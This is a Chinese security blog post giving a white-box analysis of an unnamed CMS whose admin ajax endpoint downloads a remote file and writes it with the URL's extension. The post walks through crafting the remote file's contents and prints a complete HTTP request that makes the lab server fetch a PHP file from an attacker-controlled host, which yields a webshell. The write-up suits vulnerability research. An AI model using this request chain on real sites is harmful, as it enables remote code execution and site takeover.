记一次文件下载getshell白盒

前言

2023年了,敬业的人还在上班,首先祝大家新年快乐,期待新的一年有新的成长~

闲来无事,逛逛代码仓库,扫一扫,看到某CMS里面有这么一个方法,里面的内容很简单,可以说是目测存在getshell漏洞。但是实际上踩坑无数,弄了很久,因为分析的时候有意思,利用的也有点意思,所以分享出来。

代码分析

  1. 首先查看漏洞点,downpic方法获取了一个参数$url,未进行过滤,获取URL文件内容后进行文件写入。其中写入后的文件后缀即为传入的URL中的文件后缀。

  1. 搜索发现/admin/ajax.php存在4处位置调用了此方法

3、通过几次筛选,最后确定入口点为collection_all

第一个if判断,需要id搜索到有东西,经测试网站默认安装便有一条数据,所以id赋值为1即可

  1. 往下执行,发现这里远程加载的文件内容需要有$C_titlestart和$C_contentstart

构造文件内容第一行

  1. 再往下,进入下一个if判断,条件为sql语句执行结果小于等于0

构造文件内容第二行中的一串随机字符

6、下一个条件分支,需要文件内容中含有src=",直接复制了那行代码到文件中

7、后面循环无影响,到$picx的赋值,因最后拼接的路径为src="后的字符,故将index.php放到文件的最后面,然后调用了downpic方法

8、查看downpic方法。传入URL,生成以时间戳+随机字符的文件名,获取远程文件内容,写入文件。

漏洞利用

1、构造恶意请求,向外请求index.php


GET /admin/ajax.php?type=collection&action=all&id=1&lang=0&pageurl=http://10.211.55.2:21/index.php HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://10.211.55.3
Connection: close
Referer: http://10.211.55.3/admin/
Cookie: count_all=0; authx=; userx=; passx=; add=%E4%B8%AD%E5%9B%BD; user=admin; pass=e317896f881c24dd527ea70a654d0a00; A_type=1; auth=1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1; newsauth=all; productauth=all; textauth=all; formauth=all; bbsauth=all; PHPSESSID=ftd1rm1hffcfvdh2d3l9hkmln1; __vtins__JdquY3gNURaKiAFU=%7B%22sid%22%3A%20%222f9206ee-11da-59be-af05-5ce77d606c29%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201657185361904%2C%20%22ct%22%3A%201657183561904%7D; __51uvsct__JdquY3gNURaKiAFU=2; __51vcke__JdquY3gNURaKiAFU=8c5f5b50-675a-576d-a410-a4ba399a8cde; __51vuft__JdquY3gNURaKiAFU=1657173569846; LOGIN_LANG=cn
Content-Length: 2

2、返回成功即可在media目录下看到文件已经成功上传,内容为index.php文件内容

攻击者则可以通过网站安全-文件管理功能查看具体文件名

3、访问该文件,获取webshell

总结

这个漏洞我好像分析了2个小时吧,主要是构造payload方面花了心思,一开始没想看很多代码,直接利用发现失败了,调试了几次终于可以利用,总的来说,利用条件苛刻,可利用性不高,聊胜于无。

题外话:最近新开了个知识星球,期待大家关注。本来是打算放项目上的干货的,但是最近迷上了反序列化和内存马,所以可能会有一段时间都是这类内容。当然干货也会不定时更新,主要分享实战方面的细节。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值